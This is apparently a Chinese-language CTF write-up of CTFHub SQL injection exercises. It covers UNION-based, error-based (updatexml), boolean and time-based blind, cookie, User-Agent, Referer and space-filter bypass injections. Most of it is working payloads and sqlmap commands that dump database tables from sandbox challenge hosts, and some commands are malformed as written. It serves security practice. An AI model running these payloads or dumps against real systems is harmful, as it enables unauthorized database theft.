整形注入:
判断是否存在sql注入
试了几次后发现只要是输错了就不会回显了
只要符合他就回显。
判断字段数(order by)
1 order by 1,2 #
123就不对了,说明是两列
注意:要将1变成-1,否则前面不报错后面就不回显了
发现注入点~~
之后就是常规payload了
判断回显数
id=‘-1’ union select 2,2#
好像两个都可以
查看数据库数据
-1 union select 1,database() #
sqli
**5. 查看表名称 **
-1 union select group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #
ID: news,flag
Data: 3
6. 查字段
**-1 **union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ #
-1 union select database(),group_concat(column_name) from information_schema.columns where table_name = 'flag' #
ID: 1
Data: flag
查值
-1 union select 2 ,group_concat(flag) from sqli.flag #
?id=-1 union select database(),group_concat(flag)%20from%20sqli.flag–+
sqlmap:
查当前数据库
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch --current-db
得到当前数据库为:sqli
2.查数据表
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli --tables
得数据表是flag,news
3.查具体数据
python3 sqlmap.py -uhttp://challenge-2cb4977be79cd972.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag --dump
得flag
SQL 字符型注入
和数字型一样,区别是字符型需要用单引号闭合
手工
判断
-1’ union select 2,2#
-1’ union select 1,database() #
-1’ union select group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #
**-1’ **union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ #
sqlmap
与之前相同
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
python3 sqlmap.py -u “http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1” -D sqli -T flag --dump --batch
报错注入
输入id=1 显示查询正确
但是输入1’显示报错,说明可以尝试报错注入
我们使用updatexml
得到库名
/?id=1 and updatexml(1,concat(0x5e,database()),1)
1 and updatexml(1,concat(0x5e,database()),1)
0x5e是 ^ 这个符号 所以数据库还是sqli
得到表名1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
还是news,flag
得到字段
1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
还是flag
/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
得到字段的值flag,但是我们发现这里的flag少了一部分 应该是少个括号
使用mid 就可以得到flag后面的一部分1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
sqlmap
python3 sqlmap.py -u "[http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1"](http://challenge-a639ca4ae650a2da.sandbox.ctfhub.com:10800//?id=1") -D sqli -T flag --dump --batch
布尔盲注
确认闭合方式 id=1
当数据库查询结果为空或者查询语句报错,回显error,所以我们通过**if(expr1,expr2,expr3)**来判断
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确
payload
/?id=if(substr(database(),1,1)=“s”,1,(select table_name from information_schema.tables))
第一个字母为s 时 回显success
if(substr(database(),1,1)=“a”,1,(select table_name from information_schema.tables))
第一个字母为a 时 回显error
这样的话就可以判断出 库名第一个字母为 s
这样判断的太慢了,我们使用sqlmappython3 sqlmap.py -u " http://challenge-a2756a68299a4d94.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch
sqlmap
python3 sqlmap.py -u " http://challenge-a2756a68299a4d94.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch
MySQL结构
sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
第一位为s时,程序睡眠五秒
id((substr(database(),1,1)='s',sleep(5),1)
换sqlmap
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)
python3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T --dbs
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli
python3 sqlmap.py -upython3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli --tables
python3 sqlmap.py -upython3 sqlmap.py -uhttp://challenge-4021fcef3e09e0b8.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T bhgayltyjx --dump
时间盲注
结构和时间盲注是差不多来着,然后闹反了
直接用sqlmap 了
拿答案做题了
sqlmap
python3 sqlmap.py -u " http://challenge-157103da6dadbce5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump --batch
基础命令就能扫出来,挺强的
cookie注入
进入环境·,既然找cookie,抓个包先
Cookie: id=1 order by 1,2#
id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F
id=-1 union select 2,2#
剩下的和第一个一样,直接sqlmap了
python3 sqlmap.py -u[http://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/](http://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/) --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 --current-db
sqlipython3 sqlmap.py -uhttp://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/ --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 -D sqli --tables
dmgraelkay
news
奇奇怪怪得优先
python3 sqlmap.py -uhttp://challenge-c90d7cb0961df37a.sandbox.ctfhub.com:10800/ --cookie id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F --batch --level 2 -D sqli -T dmgraelkay --dump
UA注入
剩下的基本与第一个一致
sqlmap
burp抓包得到的数据放进1.txt
python3 sqlmap.py -r “ua.txt” -p “User-Agent” –dbms mysql -p指定User-Agent参数指定username参数,-dbms指定了数据库
必须加 * 号否则没有注入点,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
python3 sqlmap.py -r 1.txt -level 3 -current-db --batch
python3 sqlmap.py -r 1.txt -level 3 -D sqli --tables --batch
python3 sqlmap.py -r 1.txt -level 3 -D sqli -T ufikusnyki --dump --batch
Refer注入
这次抓包后没有显示Referer,那就根据题自己加一行
id=1 and 1=1
sqlmap
burp抓包得到的数据发现没有Refer请求头,添加Refer请求头放进2.txt
python3 sqlmap.py -r “b.txt” -level 3 --current-db --batch (sqli)
python3 sqlmap.py -r “2.txt” -level 3 -D sqli --tables --batch
python3 sqlmap.py -r “2.txt” -level 3 -D sqli -T zwkbqnseku --batch -dump
过滤空格
url中可以用//代替空格
爆表:
-1//union//select//database(),group_concat(table_name)//from//information_schema.tables//where//table_schema//=//‘sqli’
cgmqkhgbyg
sqlmap
这里需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令 --tamper=space2plus.py
python3 sqlmap.py -u “http://challenge-389c608b8a45f792.sandbox.ctfhub.com:10800/?id=1” -D sqli --dump --tamper=space2comment.py --batch